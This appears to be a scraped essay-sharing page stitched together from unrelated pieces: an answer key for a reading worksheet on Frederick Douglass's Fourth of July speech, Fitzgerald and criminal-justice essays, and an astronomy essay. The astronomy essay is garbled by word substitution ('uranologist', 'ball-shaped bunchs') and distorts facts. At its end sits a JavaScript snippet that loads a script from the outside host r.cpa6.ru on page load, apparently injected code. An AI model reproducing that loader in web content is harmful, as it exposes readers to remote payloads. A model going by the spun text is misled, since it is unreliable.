Reading Comprehension Worksheet 10 Answers

Stop! If youve come to this page before completing the Reading Comprehension Worksheet 10 What to the Slave Is the Fourth of July? then head back there and complete the questions first. Once youve finished, then check out the answers to the questions below. Remember, each question deals with what is stated or implied in the text. Printable PDF:  What to the Slave Is the Fourth of July? Frederick Douglass Speech, Questions, and  Answers Answers: 1. The crowd to whom Frederick Douglass was speaking would most likely describe his tone as: A. Endearing and motivational B. Passionately accusatory C.  Justifiably angry D. Concerned and factual E. Docile but inspirational   The correct choice is B. Looking at the title, you have to realize that Frederick Douglass, a freed slave, was speaking to a crowd of mostly white, free people in New York in 1852. From the language he used, we know that no one would consider his tone to be docile or endearing so that rules out Choices E and A. Choice D is also a little bit too calm for the speech Douglass delivered. So, that leaves us Choices B and C. The only reason C is incorrect is the word justifiably. We have no idea whether or not the crowd would believe his anger justified. During that time frame, you could argue that many, probably, would not. You CAN argue, however, that he was passionate and accusatory of the United States in general, and even someone from the 1850s with a dissimilar viewpoint would have felt that passion, so Choice B is the best answer. Back to the passage 2. Which statement best summarizes the main idea of Frederick Douglass  speech? A. Throughout the world, America shows the most revolting barbarity and shameless hypocrisy for its usage of slavery. B. The Fourth  of July is a day that reveals to the American slave the injustice and cruelty of his or her lack of freedom. C. Gross inequalities exist throughout the United States of America, and Independence Day serves to highlight them. D. Enslaving people robs them of their essential humanity, which is a God-given right. E. The Fourth  of July should not be celebrated by some Americans if it cannot be celebrated by everyone. The correct choice is B. Choice A is too narrow; Americas barbarism as it relates to the rest of the world is only really described in a couple of sentences in the text. Choice C is much too broad. Gross inequalities could describe inequalities between races, sexes, ages, religions, political viewpoints, etc. It needs to be more specific to be correct. Choice D is too narrow, and Choice E is not really alluded to in the passage. That means that Choice B is the correct answer. Back to the passage 3. What does Douglass state he does NOT need to prove to the audience? A. That the popularity of slavery would diminish with their help. B. That slaves can do the same amount of work as free men. C. That slaves are men. D. That slavery is divine. E. That comparing slaves to animals is wrong. The correct choice is C. This is a tricky question because Douglass asks a lot of questions, states he doesnt need to answer them, and then answers them anyway. He never mentions Choice A, so thats out. He also never states Choice B, although he lists various jobs that slaves all do. He argues the opposite of Choice D, and although he mentions that animals are different from slaves, he never says that he doesnt need to prove that the comparison is incorrect. He does, however, say that he doesnt need to prove that slaves are men because laws have already proved it. Therefore, Choice C is the best answer. Back to the passage 4. Based on the passage, all of the following were reasons Douglass said he would not argue against slavery EXCEPT:   A. The time for such arguments has passed. B. It would make him appear ridiculous. C. It would insult the audiences understanding. D. He has better employment for his time and strength. E. He has too much pride to offer such things. The correct choice is E. Sometimes, youll need to answer questions directly from the passage like this. Here, its a simple matter of finding the information. The only answer choice not stated in the passage directly is Choice E. Everything else is mentioned verbatim. Back to the passage 5. Douglass mentions that there are 72  crimes in Virginia that will subject  a black man to death while there are only two that will do the same for a white man in order to: A. Prove that by the states own laws, slaves should be considered people. B. Display the gross inequities between free men and slaves. C. Relay facts to the audience that they may not already know. D. A and B only. E. A, B, and C. The correct choice is E. Douglass usage of this fact serves multiple purposes. Yes, the main point of the paragraph in which the fact was expressed was that because of the law, a slave is proved to be a person, but Douglass threw that statistic in for other reasons, too. He also enlightens the audience to a horrendous tidbit of Virginia law that they may not know: a slave could be killed for 72 different offenses, whereas a white man could for only two. This not only displays the gross inequities between the free men and slaves, but it also offers support for the main point of his essay: the Fourth  of July is not Independence Day for everyone.

The Pursuit Of The American Dream By F. Scott Fitzgerald

Kristin Liu Research Paper Date due: June 10, 2015 Date turned in: June 15, 2015 Self Demise in the Pursuit of the American Dream The 1920s was a time when parties and prosperity were abundant. This created the view that everything was possible and eventually led to the idea of the American Dream. The American Dream was the thought that if one lives in America, then they are living in a land of opportunity. The perception was that an individual, through hard work, can be successful when in America regardless of their situation. However, an inevitable truth that is often untold is the fact that the American Dream is only a dream that few can achieve. As shown in F. Scott Fitzgerald’s books, The Great Gatsby and This Side of Paradise, the pursuit of the American Dream proves to result in one’s demise. Jay Gatsby in The Great Gatsby and Amory Blaine in This Side of Paradise are unsuccessful in their attempt to attain the attention of the person they like, lose connections with people, and their wealth did not get them as far in life as they thought it would. In This Side of Paradise, Amory Blaine pu t in a lot of effort trying to appear successful in order to feel accepted, or normal. He attends a private boarding school, then to the prestigious Princeton University, in the hopes that â€Å"his nearest approach to success [can be achieved] through conformity† (110). He even joins the football team, writes for the school newspaper, and participates in various clubs in order toShow MoreRelatedThemes Of The American Dream In The Great Gatsby1503 Words   |  7 PagesThe American dream is the ideal that every human that lives in the United States of America has an equal opportunity to fulfill success and achieve happiness. The failure of the American dream is an evident theme in the novel. The author, F. Scott Fitzgerald, uses the character Jay Gatsby to symbolize the corruption that the pursuit of the American Dream holds. The American Dream highlights equality and is the quintessential idea that all humans are equal. However, this idea is perceived as an illusionRead More American Dream Failure Essay1092 Words   |  5 PagesFailure of the American Dream The American Dream; a reality chased by Americans for centuries, based on the ideas of liberty, happiness and equal right to success for all. But, for F. Scott Fitzgerald the American Dream was a materialistic world of permanent riches and fortune. This distorted perception of the American Dream, shared by many others, resulted in the failure of the real American Dream, a reality where one can live comfortably and safely. Instead, the American Dream became this unattainableRead MoreThe American Dream By F. Scott Fitzgerald1134 Words   |  5 Pagescenturies, the interpretation and perception of the American Dream has changed considerably and frequently. From the vision of individual betterment in 1774, to African-American civil rights in 1963, the American Dream has and will continue to alter, as the country evolves. However, the basis of the American Dream has remained the same, with the set of ideals being democracy, rights, liberty, opportunity and equality. In addition to the i deals, the Dream is believed to be, that anyone has the abilityRead More Destruction and Failure of a Generation in Fitzgerald’s The Great Gatsby1413 Words   |  6 PagesThe Great Gatsby and the Destruction of a Generation      Ã‚   The beauty and splendor of Gatsbys parties masks the decay and corruption that lay at the heart of the Roaring Twenties. The society of the Jazz Age, as observed by Fitzgerald, is morally bankrupt, and thus continually plagued by a crisis of character. Jay Gatsby, though he struggles to be a part of this world, remains unalterably an outsider. His life is a grand irony, in that it is a caricature of Twenties-style ostentation: his closetRead MoreThe Great Gatsby : An American Nightmare1226 Words   |  5 PagesAlex Joo Mr. Shaffer ENG4U1 January 8th, 2015 The Great Gatsby: an American Nightmare At the end of the day everyone ends up in the same place—six feet under. By then, many end up having lived fulfilling lives and die with no regrets. Far too many do not. The Great Gatsby, by F. Scott Fitzgerald, presents the issue in pursuing the impossible: the American Dream. A dream in which all are â€Å"able to attain to the fullest stature of which they are innately capable† (Adams 215). Unfortunately, the latterRead MoreFailure Of The American Dream In The Writings Of F. Scott Fitzgerald, Zora Neale Hurston, And August Wilson1418 Words   |  6 PagesThis literary study will define the failure of the †American Dream† in the writings of F. Scott Fitzgerald, Arthur Miller, Zora Neale Hurston, and August Wilson. Fitzgerald’s account of the Jay Gatsby s rise to fame in the 1920s defines the failure of financial success as part of the American Dream. Gatsby will eventually die due to his excessive greed, which is not unlike the emotional death of Willy Loman as he fails to become a successful salesman in Author Miller’s Death of a Salesman. MoreRead MoreThe Decay of American Dream in The Great Gatsby1289 Words   |  6 PagesThe Decay of American Dream in The Great Gatsby The American Dream is a worldwide known idiom and it emphasizes an ideal of a successful and happy lifestyle which is oftentimes symbolized by the phrase â€Å"from rags-to-riches†. It originated out of the ideal of equality, freedom and opportunity that is held to every American. In the last couple of decades the main idea of the American Dream has shifted to becoming a dream in which materialistic values are of a higher importance and status. TheRead More Great Gatsby: Fitzgeralds Criticism Of The American Dream Essay501 Words   |  3 Pages Great Gatsby: Fitzgeralds Criticism of The American Dream The American Dream, as it arose in the Colonial period and developed in the nineteenth century, was based on the assumption that each person, no matter what his origins, could succeed in life on the sole basis of his or her own skill and effort. The dream was embodied in the ideal of the self-made man, just as it was embodied in Fitzgeralds own family by his grandfather, P. F. McQuillan. Fitzgeralds novel takes its place among other novelsRead More F. Scott Fitzgerald’s The Great Gatsby Essay1211 Words   |  5 PagesF. Scott Fitzgerald’s Portrayal of the Twenties F. Scott Fitzgerald was accurate in his portrayal of the aristocratic flamboyancy and indifference of the 1920s. In his novel, The Great Gatsby, Fitzgerald explores many aspects of indifference and flamboyancy. A large influence on this society was the pursuit of the American Dream. Gangsters played a heavily influential role in the new money aristocracy of the 1920s. The indifference was mainly due to the advent of Prohibition in 1920. One majorRead MoreThe American Dream in Death of a Salesman by Arthur Miller, and The Great Gatsby by F. Scott Fitzgerald1096 Words   |  5 PagesThe American Dream in Death of a Salesman by Arthur Miller, and The Great Gatsby by F. Scott Fitzgerald In a majority of literature written in the 20th century, the theme of the American Dream has been a prevalent theme. This dream affects the plot and characters of many novels, and in some books, the intent of the author is to illustrate the reality of the American Dream. However, there is no one definition of the American Dream. Is it the right to pursue your hearts wish,

Primary and Secondary Sources Free Essays

PRIMARY AND SECONDARY SOURCES What is Primary Sources? * Primary sources  are original  materials. Generally, primary sources are not accounts written after the fact with the benefit of hindsight. * Information for which the writer has no personal knowledge is not primary, although it may be used by historians in the absence of a primary source. We will write a custom essay sample on Primary and Secondary Sources or any similar topic only for you Order Now * Primary sources provide first-hand testimony or direct evidence concerning a topic under investigation. They are created by witnesses or recorders who experienced the events or conditions being documented. Often these sources are created at the time when the events or conditions are occurring. Examples of Primary Sources: * archives and manuscript material * photographs, audio recordings, video recordings, films * journals, letters and diaries * speeches * scrapbooks * published books, newspapers and magazine clippings published at the time * government publications * oral histories * records of organizations * autobiographies and memoirs * printed ephemera * artifacts, e. g. clothing, costumes, furniture * research data, e. g. public opinion polls What is Secondary Sources? * Offer an interpretation or analysis  of the primary source materials. * Second hand accounts of historical events. Secondary sources are works of synthesis and interpretation based upon primary sources and the work of other authors. They may take a variety of forms. The authors of secondary sources develop their interpretations and narratives of events based on primary sources, that is, documents and other evidence created by participants or eyewitnesses.  ¦ Examples of Secondary Sources: * articles, * biographies, * books, * textbooks, * Reports on events, etc. THINGS TO ASK WHEN EVALUATING PRIMARY AND SECONDARY SOURCES: * How does the author know these details (names, dates, and times)? Was the author present at the event or soon on the scene? * Where this information does came from? Eyewitness accounts? Reports written by the others? * Are the author’s conclusion based on a single piece of evidence, or have many sources been taken into account? SOME TECHNIQUES FOR TESTING THE AUTHENTICITY OF PRIMARY AND SECONDARY SOURCES: * Check the currency of secondary sources. * Make certain primary sources are housed in a reputable archive and/or have been indexed or catalogue by exp erts in the source’s discipline. * Research the authority and credentials of journal article author. Cross check to see if others researches agree with your critique. HOW CAN I TELL IF SOMETHING IS A SECONDARY SOURCE? As with any research, examine the document or article carefully for accuracy and credibility. Use the following questions to help you determine whether or not you are using a credible secondary source. AUTHORS: * How does the author know what he/she knows? * Does his/her knowledge stem from personal experience or having read about and analyzed an event? * Does the author cite several other (published) reports? CONTENT: Why is the information being provided or the article written? * Are there references to other writings on this topic? * Is the author interpreting previous events? * Does the information come from personal experience or other’s accounts? CURRENCY: * Is the date of publication evident? * Is the date of publication close to the event describe d or was it written much later? Sources: * http://www. yale. edu/collections_collaborative/primarysources/primarysources. html * http://www. mitchellteachers. org * http://www. slideshare. net/stellacomans/primary-and-secondary-sources-7878126 How to cite Primary and Secondary Sources, Essay examples

Compare/Contrast Speak and I Fight Like a Girl free essay sample

Webster definition of a victim is one that is prayed upon and usually affected by a force or agent. my definition of victim is someone who has had a terrible thing happen to them. By both my and Webster definition both the narrator from the poem l fight like a girl and Melinda from the book speak are victims. Both in the poem and in the book the narrators/main characters go thru a lot and at some point reach the point when they are finally ready to fight back and stand p for themselves.The poem l fight like a girl and the book speak are alike because the main characters or narrators were both raped. I know this because in the third line of the poem it says a girl who is tired of being RAPED and in the book when Melinda finally comes to cope with the fact that she is raped at the end she says there is no avoiding it, Andy Evans raped me in August when I was too young and drunk to understand it. We will write a custom essay sample on Compare/Contrast Speak and I Fight Like a Girl or any similar topic specifically for you Do Not WasteYour Time HIRE WRITER Only 13.90 / page It is not my fault. The book and the poem are different because in the poem she Is ready to eight back from the beginning and in the book it takes a lot of time and coping with what happened to her before she was able to fight back and stand up for herself. Both in the poem and in the book the main characters or narrators were victimized. In speak Melinda was victimized in more than one way for one she was raped. For two she was made fun of for being an outcast I know this because at the pep rally that heather from Ohio made her go to she was pushed down the bleachers and teased.For three she was repeatedly psychologically victimized by her rapist Andy Evans It says In the book that whenever they where Inside of In school suspension when the teacher left he blew In her ear which was Just a way of making her uncomfortable and also when she was eating lunch with the Marshs he came over there to make her feel bad. Also Just Like the narrator from l fight Like a girl we know all of the different was that she was victimized because she specifically names them she says she was raped beaten humored and Ignored which are all different ways of being victimized.The only difference Is that we know who plummeted Melinda and we onto know who victimized the narrator from l fight Like a girl. In the book Melinda refuses to stand u p for herself because If she does that then he will have to admit what It did to her It takes a lot of time and coping and understanding from the few people who she had to listen to her before she was ready to stand up for herself whereas In the poem the narrator Is clearly fed-up with being victimized to the point where she was ready to stand up for herself from the begging.

Astronomers Essay Research Paper Part OneBrief Descriptions free essay sample

Astronomers Essay, Research Paper Part One Brief Descriptions of the Following Astronomers: Walter Baade: Baade was a German-born American, whose work gave new estimations for the age and size of the existence. During the wartime, blackouts aided his observatons and allowed him to indentify and classify stars in a new and utile manner, and led him to increase and better Hubble # 8217 ; s values for the size and age of the existence ( to the great alleviation of geologists. ) He besides worked on supernovae and radiostars. Milton Humason: Humason was a co-worker of Edwin Hubble # 8217 ; s at Mt. Wilson and Palomar Mtn. who was instrumental in mensurating swoon galaxy spectra supplying grounds for the enlargement of the existence. Jan Oort: In 1927, this Dutch uranologist proved by observation ( in the Leiden observatory ) that our galaxy is revolving, and calculated the sirance of the Sun from the Centre of the galaxy and the period of its orbit. In 1950 he sugested the exsistence of a domain of incipent cometic stuff environing the solar system, which is now called the # 8216 ; Oort cloud. # 8217 ; He proposed that comets detached themsleves from this # 8216 ; Oort- cloud # 8217 ; and went into orbit around the Sun. From 1940 onwards he carried out noteworthy work in wireless uranology. Harlow Shapley: Shapley deduced that the Sun lies near the cardinal plane of the Galaxy some 30,000 light- old ages off from the Centre. In 1911 Shapley, working with consequences given by Henry N. Russell, began happening the dimensions of stars in a figure of binary systems from measurings of their light fluctuation when they eclipse one another. These methods remained the standard process for more than 30 old ages. Shapley besides showed that Cepheid variables can non be star braces that eclipse each other. He was the first to suggest that they are throbing stars. In the Mount Wilson Observatory, Pasadena Calif. , in 1914, he made a survey of the distribution of the ball-shaped bunchs in the Galaxy ; these bunchs are huge, dumbly packed groups of stars, some incorporating every bit many as 1,000,000 members. He found that of the 100 bunchs known at the clip, one-third ballad within the boundary of the configuration Sagittarius. Using the freshly developed construct that variable stars accurately reveal their distance by their period of fluctuation and evident brightness, he found that the bunchs were distributed approximately in a sphere whose centre ballad in Sagittarius. Since the bunchs assumed a spherical agreement, it was logical to reason that they would constellate around the Centre of the Galaxy ; from this decision and his other distance informations Shapley deduced that the Sun lies at a distance of 50,000 light years from the Centre of the Galaxy ; the figure was subsequently corrected to 30,000 light years. Before Shapley, the Sun was believed to lie Ne! ar the Centre of the Galaxy. His work, which led to the first realistic estimation for the existent size of the Galaxy, therefore was a milepost in galactic uranology. Allan Sandage: Sandage ( U.S ) discovered the first quasi-stellar wireless beginning ( quasi-stellar radio source ) , a starlike object that is a strong emitter of wireless moving ridges. He made the find in coaction with the U.S. wireless uranologist Thomas A. Matthews. Sandage became a member of the staff of the Hale Observatories ( now the Mount Wilson and Palomar Observatories ) , in California, in 1952 and carried out most of his probes at that place. Prosecuting the theoretical work of several uranologists on the development of stars, Sandage, with Harold L. Johnson, demonstrated in the early fiftiess that the ascertained features of the visible radiation and coloring material of the brightest stars in assorted ball-shaped bunchs indicate that the bunchs can be arranged in order harmonizing to their age. This information provided penetration into leading development and galactic construction. Subsequently, Sandage became a leader in the survey of quasi-stellar wireless beginnings, comparing accurate places of wireless beginnings with photographic sky maps and so utilizing a big optical telescope to happen a ocular starlike beginning at the point where the strong wireless moving ridges are being emitted. Sandage and Matthews identified the first of many such objects Sandage subsequently discovered that some of the remote, starlike objects with similar features are non radio beginnings. He besides found that the visible radiation from a figure of the beginnings varies quickly and irregularly in strength. Part Two Cerro Tololo Interamerican Observatory Cerro Tololo is a mountatin extremum in the nothern scope of the Andes in South America. At the acme, 7,200 ft. above sea degree, the US has built on of the universe # 8217 ; s foremost astronomical observatories. This is called the Cerro Tololo Interamerican Observatory or CTIO. It was founded in 1965 in Chile as the southern subdivision of the Kitt Peak National Observatory. It is located about 285 stat mis north of Santiago and 50 stat mis inland from the coastal metropolis of La Serena. The European Southern Observatory and the Carnegie Institution of Washington besides operate major astronomical observatories nearby. It # 8217 ; s co-ordinates are: W 70d48m52.7s S 30d09m55.5s CTIO # 8217 ; s installations are available for usage for sanctioned undertakings by all qualified uranologists in the western hemisphere. CTIO is operated by the Association of Universities for Research in Astronomy Inc. ( AURA ) , under a concerted understanding with the National Science Foundation as portion of the National Optical Astronomy Observatories, which besides operates Kitt Peak National Observatory in Tucson Arizona and is the operating bureau for the US part of the International Gemini Project. The CTIO houses several telescopes and subsidiary instruments, the most important of which is a / gt ; reflecting telescope with a 4-metre mirror. On site are six optical telescopes, and one wireless telescope: 4.0 Meter Blanco Telescope. 1.5 Meter Ritchey-Chretien Telescope. Yale 1.0 Meter Ritchey-Chretien Telescope f/10 ( 19.5 arcsec/mm ) . 0.9 Meter Telescope f/13.5 ( 16.5 arcsec/mm ) . Curtis/Schmidt Telescope ( 0.6/0.9 Meter ) f/3.5 ( 96.6 arcsec/mm ) . Lowell ( 0.6m ) Telescope f/13.5, f/75 ( 25.0, 4.5 arcsec/mm ) 1.2m Radio Telescope ( SCMT, Universidad de Chile ) . The observatory is best noted for its research on the cardinal part of the Milky Way Galaxy, the Magellanic Clouds, and high-energy cosmic wireless and X-ray beginnings. Part Three How Galaxies Evolve: The survey of the beginning and development of galaxies has merely merely begun. In the yesteryear at that place has non been much informations to work with, and many theoretical accounts of galaxy formation and development have been constructed on the footing of givens about conditions in the early existence, which are in bend based on theoretical accounts of the enlargement of the Cosmos after the # 8220 ; large knock # 8221 ; # 8211 ; the detonation from which the Universe is thought to hold originated. Predominating theory has it that at important points in clip there condensed from the spread outing affair smaller clouds ( protogalaxies ) that could fall in under their ain gravitative field and finally form galaxies. At the clip when the mass of such a stable disturbance in the cloud was about 10 solar multitudes, the galaxies formed. It is still non known whether the bunchs of galaxies emerged foremost or whether they resulted as accretions of already formed galaxies. Following the separation of mass into single galaxies, the following measure likely depe! nded on the features of the peculiar bunch of affair involved, particularly on its mass and angular impulse. The latter measure was the most likely determiner of the signifier of the galaxy that finally evolved. It is thought that a protogalaxy with a big sum of angular impulse tended to organize a level, quickly revolving system ( a spiral galaxy ) , whereas one with really small angular impulse developed into a more about spherical system ( an egg-shaped galaxy. ) Calculations show that a galaxy really bit by bit becomes dimmer and redder as clip advancements and its constitutional stars evolve. There is some grounds from really distant galaxies # 8211 ; those whose visible radiation was emitted one million millions of old ages ago when they were younger # 8211 ; that the effects of this sort of slow development can really be seen. Separate Four Three Great Scientists Of The Past ( In My Opinion ) Based on my readings I believe that the undermentioned scientist have all made valuable parts to astronomy: Mikolaj kopernik Galileo Kepler Here are some brief descriptions of their contributon to the apprehension of uranology: Copernicus ( 1473-1543 ) : Nicolas Copernicus is frequently considered the laminitis of modern uranology. His survey led to his theory that the Earth rotates on its axis and that the Earth and the planets revolve around the Sun. The Copernican theory was contrary to the Ptolemaic theory so by and large accepted. In 1530 he finished his great book, # 8216 ; Refering the Revolutions of the Celestial Spheres # 8217 ; . His theory was in resistance to the instructions of the Roman Catholic church, and the book was non published for 13 old ages. Copernicus seemingly received the first transcript as he was deceasing, on May 24, 1543. The book opened the manner to a truly scientific attack to astronomy. Such work forces as Galileo and Kepler were deeply influenced by it. Galilieo ( 1564-1642 ) : Modern natural philosophies owes its beginning to Galileo, who was the first uranologist to utilize a telescope. By detecting four orbiters of the planet Jupiter, he gave ocular grounds that supported the Copernican theory. Galileo therefore helped confute much of the medieval thought in scientific discipline. In 1583 Galileo discovered the jurisprudence of the pendulum by watching a pendant swing in the cathedral at Pisa. He timed it with his pulsation and found that, whether it swung in a broad or a narrow discharge, it ever took the same clip to finish an oscillation. He therefore gave society the first dependable agencies of maintaining clip. In approximately 1609, after word from Holland of Hans Lippershey # 8217 ; s freshly invented telescope reached him, he built his ain version of the instrument. He developed amplifying power until on Jan. 7, 1610, he saw four orbiters of Jupiter. He besides saw the mountains and craters on the Moon and found the Milky Way to be a heavy aggregation of stars. Kepler ( 1571-1630 ) : This Renaissance uranologist and astrologist is best known for his find that the orbits in which the Earth and the other planets of the solar system travel around the Sun are egg-shaped, or ellipse, in form. He was besides the first to explicate right how human existences see and to show what happens to visible radiation when it enters a telescope. In add-on, he designed an instrument that serves as the footing of the modern refractile telescope. Kepler # 8217 ; s great work on planetal gesture is summed up in three rules, which have become known as # 8220 ; Kepler # 8217 ; s Torahs # 8221 ; : ( 1 ) The way of every planet in its gesture about the Sun forms an oval, with the Sun at one focal point. ( 2 ) The velocity of a planet in its orbit varies so that a line fall ining it with the Sun expanse over equal countries in equal times. ( 3 ) The squares of the planets # 8217 ; periods of revolution are relative to the regular hexahedrons of the planets # 8217 ; average distances from the Sun. These Torahs removed all uncertainty that the Earth and planets travel around the Sun. Later Sir Isaac Newton used Kepler # 8217 ; s Torahs to set up his jurisprudence of cosmopolitan gravity. 31e ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

Criminal Justice Term Paper Writing Guide for Troubled Students

Criminal Justice Term Paper Writing Guide for Troubled Students Criminal justice is one of the most popular disciplines in colleges. The enrolment rates in criminal justice keep on increasing each year. Many students enroll in criminal justice studies to find the knowledge and expertise that can help resolve societal problems such as crime. Ensuring justice is among the greatest objectives of most students who study criminal justice. The criminal justice concept is a phrase used to describe the interdependent system including the police service, courts, and the correctional facilities within a given government. Students who study criminal justice end up working either of the outlined systems. The law-making system should be added as a fourth component of the criminal justice system. The author explains that every activity that is carried out by the three interdependent components is based on the legal structure that is in place. It is important to point out that the issue of whether the legislative arm of the government is under the criminal justice system remains debatable. Nonetheless, students who study criminal justice must successfully complete their term papers before earning their degrees. This guide on how to write a criminal justice term paper will answer all the questions such students might have. The Importance of Criminal Justice Term Papers Helps Develop Positive Logical Arguments Term papers are important for criminal justice students because of several reasons. First, it is considered as an evaluation criterion that the instructor uses to determine whether the learners have mastered the taught concepts. The instructor may want to know whether the knowledge they have imparted on the students has been of any help. Another reason why your professor is likely to assign you a criminal justice term paper is that they want to test your ability to develop a logical argument. Different criminal justice cases come with diverse issues that require logical reasoning and impeccable critical thinking and decision-making skills. The term papers provide you with a chance to show your professor that you have the ability to reason out and find the best alternative that can resolve a critical situation. You must use thoughts and logic to critique a criminal justice case and determine the best way forward. You need to have skills that can allow you to successfully argue against or defend a party in the courtroom. Term papers provide you with the ability to build on logical arguments. Positive Communication Skills Second, a criminology term paper is helpful because it enhances your communication skills. You should not be in the criminal justice system if you do not like to communicate with people. The term papers that you write help in sharpening your communication skills. You are required to constantly update your boss or client on the development on a case you may be handling. This becomes very difficult if you lack the necessary skills and knowledge of communication. Your term paper will help your instructor to identify your communication challenges and accordingly address them. Most instructors often write comments on the submitted term papers to help guide the students on revisions. You can be sure that by the term paper help in improving your communication skills. Exploring Own Thoughts and Ideas Tem papers provide you with a chance to explore your thoughts and challenge your misconceived ideas on issues such as racial profiling in the police service, privacy versus individual rights among others. Criminal justice instructors often try to bring critical and debatable topics to elicit reactions of the students. Your reaction to a topic is needed not only for examination purposes but also to help create an effective intervention to a problem. Your thoughts and feelings are built during the writing process. It is important to note that you may also discover things you may not have known during the writing process. Impeccable Writing Skills Besides positive communication, term papers also help develop impeccable writers. You learn to be more precise and accurate in your writing. As noted, term papers often have page or word limit. You must be able to compress your ideas and thoughts in the stated pages or word counts. In practice, you must be able to present your ideas in a concise manner that allows the audience to positively relate your points to the case you could be handling. Writing term papers in criminal justice studies is an art that requires constant practice. The term papers can help you understand what to say, the most appropriate words and structuring of phrases. Concisely, it helps in improving individual writing skills and the ability to communicate in a busy business environment. What You Need To Know Before Writing A Criminology Term Paper: Hot Picks from Our Writers Understanding the ethical and legal issues that surround critical decisions is very important in this profession. Contrary to what most students think, criminal justice is not a â€Å"YES† or â€Å"NO’ profession. It allows a student to think and develop own perspectives on different societal issues. As a student in this line of profession, you should identify and appreciate different issues that affect the well-being of humans in the society. For instance, protecting the environment is a significant issue in criminal justice. You may need to write a term paper to defend a perspective on environmental protection. When writing such a paper, you must show your commitment to the position you have taken by providing relevant examples and evidence. You need to understand that your lecturer is testing a lot more than the concepts they taught in class. Choosing a topic may be a big problem to a student writing a criminal justice term paper. The instructor may decide to choose a topic on behalf of the student. In case the topic is not chosen, you may need to explore the research problem and develop your own. Some of the common topics in criminal justice term papers include: Environmental protection; Racial profiling in criminal justice system; Police brutality; Equality and social justice; Death penalty; Public protection versus individual rights. Pre-Writing Techniques It is important to understand the subject matter before deciding on the artistic styles to apply in a paper. The instructor may be testing your ability o interpret the theoretical concepts that were taught. As a student, they need you to think beyond the theories they explained in the class. To record positive performances, you must indicate that you understand and appreciate the legal and ethical issues that are encountered in criminal justice. Here is the step-by-step guide that you need to follow to get the best out of a criminology term paper. First, you understand that the assessments you handle in criminal justice are meant to help you rehearse and store the information you learnt during the lectures. Second, you must recognize the fact that criminology term papers require many preparations. You need to understand what your professor needs. The grading criteria changes from one institution to another. The most important thing is to understand what the instructor needs and respond accordingly. The grading criterion is the same in almost every criminal justice term paper. Plagiarism is one of the most important aspects that every criminal justice instructor takes very seriously. Plagiarism is stealing another person’s work and passing him or her off as your own. You will not receive any point if you steal another person’s work. Another important area that is often considered when establishing the grading policy in most criminal justice term papers is the literature review. This part requires you to explore previous literature and effectively relate them to the topic that you are discussing. It is important to understand what the lecturer may be looking for in the literature review section before you begin writing. Literature review requires a comprehensive research. Depth and comprehensiveness are some of the components that are assessed in the literature review. You must show the examiner that you used a sufficient number of credible sources to explore the topic. In addition, the examiner is looking for whether you used credible scholarly sources. It is important to point out that not every criminal justice term paper will require conducting a literature review. You may not be asked to complete a literature review in argumentative papers. Nonetheless, you need to understand that the scholarly articles you use to support your arguments are relevant and credible. The analysis is another essential component of criminal justice term papers. Virtually every term paper requires students to show their analytical skills. You are required to interpret and adequately describe the major themes and findings. The instructor wants to know whether you have understood the issues that surround the topic. You can best do this by critically examining the subject matter. The instructor is also interested in the quality of criticism. You need to thoroughly examine the weaknesses and strengths of every argument that you put across. Most importantly, you need to present solutions in the analysis portion. It is imperative to present the best alternative that can be used to solve the problem you have identified. Formatting a Criminal Justice Term Paper Overview The general format used in criminal justice term papers are the same. You must begin with the introduction before moving to the main body. The conclusion is the final part and it involves a concise summary of the points you have discussed in the main body. It is important to point out that some term papers may require students to go directly to the discussion without including the introduction or the conclusion. It is important to double check the instructions to understand the format. The three parts, introduction main body and conclusion, are discussed in details in (Criminal Justice Term Paper 2). Introduction This is a very important part of a criminal justice term paper. It helps the writer to explore the overall background of the research problem, the extent to which it affects a given population and some past attempts to resolve it. The introduction orients the reader to the whole issue that is to be discussed.   It is important for the writer to grab the attention of the reader at the introduction. This can be done by stating startling facts or statistics that relate to the topic under discussion. Example: Did you know that murder rate in the United States has been increasing by over 3% each year for the last ten years? Main Body The main body is the heart of your term paper. Remember you examiner want to understand whether you have understood the concepts and issues that relate to your topic. First, you must be articulate when present your arguments in the main body. The intention is to synthesize the issue and ultimately suggests a solution.   You should consider the following when writing the main body of your criminal justice term paper: Begin every paragraph by writing a relevant topic sentence. The topic sentence should summarize the main argument in that particular paragraph. Be logical in your arguments Support your arguments using practical examples Use transition words when moving from one paragraph to the other. The main body may be structured in the following way: Argument/Claim: You should begin by stating your argument in the topic sentence. Analysis: Assess each piece of your argument using evidence from different scholarly works. You also need practical examples to support your claims. Opposing Argument: It is important to point out some of the perspectives that argue against your position. Solution: Try to present a reasonable solution that can be used to solve the problem. Conclusion As previously mentioned the conclusion part is where you summarize your arguments and restate your thesis. You need to indicate whether the hypothesis you had in the introduction has been proved or disapproved. Post-Writing Criminal Justice Term Paper Tips A number of considerations should be made once you have written your criminal justice term paper. It is likely that you will be tired after the writing process. You need to take about one hour away from the computer after you are done writing. This break should help your brain to refresh. The job is not done if you have not proofread your paper to ensure that you have written exactly what you needed. The following criminal justice term paper tips prompts can help improve the quality of your term paper: Take a break of at least one hour after completing the term paper. You may divide proofreading for several sessions. For instance, you begin by proofreading introduction part before moving to the main body. Ask a friend, family member or mentor to review your paper before you submit it. You may need a ‘third eye’ to help check your paper for any error.

Employee relations Essay Example | Topics and Well Written Essays - 3000 words - 3

Employee relations - Essay Example It also helps in identifying and assessing the various levels of employment and help define the nature and scope of relationship between the employees and employers; the social and moral values upheld by the societies; and provide guidance with regard to approaching and addressing employee disputes and grievances within and across industries. The fact that laws and regulations governing employment are implemented as a reaction to the existing social and moral values as well as the existing social, cultural, political, economic, and technological circumstances existing within a given community, state or nation. The study of employee relations hence helps in understanding and exploring the concept in a comprehensive manner and provides an insight into the factors that shape our views towards employment, employee relations, and work in general. This essay aims to explore the concept of employee relations with regard to local, national and international contexts; and the factors that influence the existing norms and in the process provide a meaningful discussion regarding the historical origins, definitions, and theoretical perspectives aided by relevant case studies to help support and substantiate the claims made. The concept of employee relations was introduced as a replacement to the term industrial relations (CIPD, 2013). Industrial relations refer to the relationship between employers and employees within an industry. Employee relations on the other hand cover a broader spectrum of this relationship and include the relationship between employers and trade unions, other representatives of the employees, as well as officials (Armstrong, 2010). Rose (2008) defines employment relations as: "The study of the regulation of the employment relationship between employer and employee, both collectively and individually, and the determination of both substantive and procedural issues at industrial, organisational and workplace